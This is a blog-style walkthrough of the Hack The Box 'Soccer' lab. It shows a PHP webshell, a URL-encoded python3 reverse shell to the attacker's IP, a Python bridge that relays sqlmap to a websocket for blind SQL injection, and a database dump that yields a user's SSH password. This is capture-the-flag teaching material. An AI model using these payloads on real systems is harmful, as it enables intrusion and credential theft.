Featured image of post HTB: soccer

HTB: soccer

Hack the box soccer walkthrough

soccer

Recon

Start off with a basic nmap scan:

1
sudo nmap -p- -T4 soccer.htb
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-22 22:32 EST
Nmap scan report for soccer.htb (10.129.215.219)
Host is up (0.012s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9091/tcp open  xmltec-xmlmail

Nmap done: 1 IP address (1 host up) scanned in 9.82 seconds

Not much going on in terms of open ports and exposed services. Visiting http://soccer.htb there is a website dedicated to soccer (no surprise given the box name).

Fuzzing for directories shows http://soccer.htb/tiny/ which may be of interest.

1
feroxbuster -u http://soccer.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Visiting that URL, we find a file manager:

If you google “h3k tiny file manager”, one of the top results should be a GitHub repo containing the code for the file manager present on the soccer website: https://github.com/prasathmani/tinyfilemanager. A quick trip through the documentation reveals the default credentials are admin/admin@123, which work on the soccer website.

In order to get code exec on the box , we are going to upload a webshell, and leverage that into a full reverse shell. Create shell.php with the following contents:

1
<?php system($_REQUEST['cmd']); ?>

Upload shell.php to tiny/uploads/ in the file manager (as we don’t seem to have permission to upload to the root). Access it, and see that it works by visiting http://soccer.htb/tiny/uploads/shell.php?cmd=id. You should get the output of the id command. Note that there seems to be a script on the box that is clearing the contents of the uploads folder on a periodic basis, so you may have to upload the shell again.

We can generate a reverse shell on https://www.revshells.com/. Im going to use python3 #2, as I find it to be reliable in these situations, and I verified that python3 is already on the box by running which python3 in the webshell. My full reverse shell command with the URL included is:

1
http://soccer.htb/tiny/uploads/shell.php?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.16%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27

Escalation to Player

When we get on the box, we can see there is a player user, who has the user flag in their home directory. However, as www-data, we don’t have permission to read it.

Since the webserver is nginx, its worth looking at the config to check for sensitive information, or if we missed an vhosts during initial recon. Looking in /etc/nginx/sites-available/ we see there is a config for soc-player.soccer.htb config. Add that to the host file and lets see what that new site is.

It seems to be very similar to soccer.htb, but with some added functionality. Lets create an account to see what we might be able to exploit. After creating an account and logging in, we get directed to the /check endpoint, where we can check if certain ticket numbers exist. If you put in your ticket id, found at the top of the form, you can see you get back the message “Ticket Exists”.

This smells like a boolean based SQLi. However, when looking through requests in Burpsuite and trying to capture the request used to check the ticket, you might be puzzled to find its not there. This is because the submission is being done through a websocket, listening on the port 9091 which we found in our initial nmap scan. You can find the websocket requests in the “Websockets history” subtab under the “Proxy” tab.

If we were going to try to find a SQLi manually, this would not pose an issue. However, I am lazy, and want to use sqlmap to automate this for me. In order to use sqlmap through a websocket, we will need a intermediary server to convert the regular http requests from sqlmap to websocket requests, and vise-versa. I found a brilliant script at https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html. Full credit to the author for writing this, as I only made minor changes to adapt it to my needs. Here is what I used:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soccer.htb:9091/"

def send_ws(payload):
	ws = create_connection(ws_server)
	# If the server returns a response on connect, use below line	
	#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
	
	# For our case, format the payload in JSON
	message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
	data = '{"id":"%s"}' % message

	ws.send(data)
	resp = ws.recv()
	ws.close()

	if resp:
		return resp
	else:
		return ''

def middleware_server(host_port,content_type="text/plain"):

	class CustomHandler(SimpleHTTPRequestHandler):
		def do_GET(self) -> None:
			self.send_response(200)
			try:
				payload = urlparse(self.path).query.split('=',1)[1]
			except IndexError:
				payload = False
				
			if payload:
				content = send_ws(payload)
			else:
				content = 'No parameters specified!'

			self.send_header("Content-type", content_type)
			self.end_headers()
			self.wfile.write(content.encode())
			return

	class _TCPServer(TCPServer):
		allow_reuse_address = True

	httpd = _TCPServer(host_port, CustomHandler)
	httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
	middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
	pass

After starting the above python script, you can run sqlmap as follows:

1
sqlmap 'http://localhost:8081/?id=*96715' --level 3 --risk 3 --dump

The * next to the number in the id parameter indicates to sqlmap that we want to test that parameter.

If the above command fails and breaks the websocket when checking for a time based SQLi, you can reset the box and leave out those tests by running the following:

1
sqlmap 'http://localhost:8081/?id=*96715' --risk 3 --dump --batch --flush-session --technique=BEUS --threads

technique=BEUS leaves out the time based attacks. You can read more about that here. Dumping the database reveals players password to be PlayerOftheMatch2022, which can be used with ssh.

Escalation to root

As player, we can run linpeas to try to find any escalation paths. After running, we see that player can run dstat as root using the doas command.

GTFObins gives us easy to follow, copy paste command to get root:

Built with Hugo
Theme Stack designed by Jimmy